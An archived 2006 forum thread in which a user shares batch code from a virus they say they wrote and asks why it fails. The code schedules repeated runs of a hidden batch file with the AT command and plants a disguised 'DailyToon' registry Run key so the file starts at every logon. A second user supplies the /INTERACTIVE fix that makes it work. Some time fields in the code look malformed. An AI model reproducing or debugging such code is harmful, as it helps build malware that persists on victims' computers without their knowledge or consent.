PDA

View Full Version : Sceduling Events via batch files



Goldenclaw
08-03-2006, 03:35 PM
I'm trying to make a batch file set events and runs them, but it's not working. Here's the excerpt of code from the virus I made that deals with sceduling events:


echo @echo off >> "%userprofile%\setvents.bat"
echo at **:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at **:*7 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at *5:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at *7:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
echo at **:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat"
REM Sceduling Events
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "DailyToon" /d "%userprofile%\setvents.bat" /f
cls

This doesn't work, and it's very odd. When I execute the code, sceduled events will appear in Control Panel/Sceduled Tasks, but when the time comes for them to execute, they don't do anything. They just say "Running", while they aren't running anything.

I was trying to debug this and I changed "%userprofile%\hello.bat" to "sol.exe". No Solitare popped up, but a process in the background named "sol.exe" started to run. I don't get it.

Thanks for reading, and I hope you can help.

SyntaXmasteR
08-03-2006, 05:29 PM
Your missing the switch: /INTERACTIVE

Without it, the program runs in the background. I have also run into some privledge issues using the AT command to create a scheduled task, but try the interactive switch and see if that fixes things.

Goldenclaw
08-04-2006, 11:25 AM
Yeah, /INTERACTIVE solved my problem. Thanks.